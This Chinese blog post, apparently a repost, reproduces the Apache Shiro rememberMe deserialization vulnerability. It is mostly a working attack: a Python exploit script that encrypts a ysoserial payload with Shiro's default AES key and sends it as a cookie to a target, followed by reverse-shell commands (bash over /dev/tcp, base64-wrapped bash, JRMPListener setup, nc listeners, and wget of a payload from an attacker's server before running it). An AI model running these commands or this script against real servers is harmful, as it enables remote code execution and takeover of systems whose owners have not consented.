Apache Shiro漏洞复现
时间:2019-08-29
本文章向大家介绍Apache Shiro漏洞复现,主要包括Apache Shiro漏洞复现使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
漏洞利用脚本如下:
import os import re import base64 import uuid import subprocess import requests import sys from Crypto.Cipher import AES def poc(url,rce_command): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url payload = generator(rce_command) # try: #print "rememberMe={0}".format(payload.decode()) r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10) print r.text except Exception, e: pass # # return False def generator(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) #print(base64_ciphertext) return base64_ciphertext if __name__ == '__main__': url = 'http://x.x.x.x:8071' cmd = 'x.x.x.x:443' poc(url,cmd)
在你的vps上使用如下payload进行反弹即可
linux反弹命令 bash -i >& /dev/xxxxxx.x/53 0>&1 base64编码 bash -c {echo,xxxxxxx}|{base64,-d}|{bash,-i} vps上执行,CommonsCollections也可以使用CommonsCollections2,CommonsCollections4 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'bash -c {echo,xxxxxxx}|{base64,-d}|{bash,-i}' 监听反弹端口 nc -lvp 53
有时候直接反弹是不成功的。可以先下载然后执行。
/bin/bash -i >& /dev/tcp/*.*.*.*/2019 0>&1 将反弹shell的命令写成txt然后放在web目录下 开启web python -m SimpleHTTPServer 8080 执行下载命令 java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'wget http://*.*.*.*:8080/1.txt' 执行反弹命令 java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2020 CommonsCollections1 'sh 1.txt' 监听反弹端口 nc -lvv 2019
原文地址:https://www.cnblogs.com/whoami101/p/11428537.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 微信公众号开发-自定义菜单接口
- 基于JDK命令行工具的监控
- 基于JVisualVM的可视化监控
- 基于Btrace的监控调试
- 大数据框架—Flink与Beam
- Mybatis动态SQL
- Mybatis-Generator插件的使用与Spring集成Mybatis的配置
- Mybatis的缓存机制详解
- zookeeper基本特性与基于Linux的ZK客户端命令行学习
- Apache Curator操作zookeeper的API使用
- 使用Java API操作zookeeper的acl权限
- 使用ZooKeeper提供的原生Java API操作ZooKeeper节点
- CountDownLatch类的使用
- Spring-如何给静态变量注入值
- ZooKeeper的伪分布式集群搭建以及真分布式集群搭建